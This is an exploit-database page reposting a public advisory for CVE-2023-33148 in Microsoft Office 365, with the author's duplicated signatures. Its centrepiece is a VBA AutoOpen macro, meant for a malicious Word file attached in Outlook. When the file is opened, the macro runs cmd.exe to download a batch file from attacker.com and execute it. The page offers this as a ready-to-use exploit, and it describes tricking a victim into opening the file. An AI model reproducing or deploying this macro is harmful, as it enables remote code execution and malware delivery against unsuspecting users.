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Microsoft Office 365 18.2305.1222.0 Remote Code Execution

CVE Category Price Severity
CVE-2023-33148 CWE-119 $50,000 Critical
Author Risk Exploitation Type Date
Unknown High Remote 2023-07-19
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2023070038

Below is a copy:

Microsoft Office 365 18.2305.1222.0 Remote Code Execution
## Title: Microsoft Office 365 Version 18.2305.1222.0 - Elevation of
Privilege Vulnerability + RCE.
## Author: nu11secur1ty
## Date: 07.18.2023
## Vendor: https://www.microsoft.com/
## Software: https://www.microsoft.com/en-us/microsoft-365/microsoft-office
## Reference: https://portswigger.net/web-security/access-control
## CVE-2023-33148


## Description:
The Microsoft Office 365 Version 18.2305.1222.0 app is vulnerable to
Elevation of Privilege.
The attacker can use this vulnerability to attach a very malicious
WORD file in the Outlook app which is a part of Microsoft Office 365
and easily can trick the victim to click on it - opening it and
executing a very dangerous shell command, in the background of the
local PC. This execution is without downloading this malicious file,
and this is a potential problem and a very dangerous case! This can be
the end of the victim's PC, it depends on the scenario.
WARNING! Office 365 executes files directly from Outlook, without temp
downloading, security checking and etc.


## Staus: HIGH Vulnerability

[+]Exploit:

- - - NOTE:
This exploit is connected to the third-party server, and when the
victim clicks on it and opens it the content of the script which is
inside will fetch on the machine locally and execute himself by using
MS Office 365 and Outlook app which is a part of the 365 API.

```vb
Sub AutoOpen()
  Call Shell("cmd.exe /S /c" & "curl -s
https://attacker.com/uqev/namaikitiputkata/golemui.bat > salaries.bat
&& .\salaries.bat", vbNormalFocus)
End Sub

```

## Reproduce:
[href](https://github.com/nu11secur1ty/Windows11Exploits/tree/main/2023/CVE-2023-33148)

## Proof and Exploit
[href](https://www.nu11secur1ty.com/2023/07/cve-2023-33148.html)

## Time spend:
00:35:00


-- 
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.htmlhttps://cxsecurity.com/ and
https://www.exploit-db.com/
0day Exploit DataBase https://0day.today/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>


-- 
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html
https://cxsecurity.com/ and https://www.exploit-db.com/
0day Exploit DataBase https://0day.today/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>

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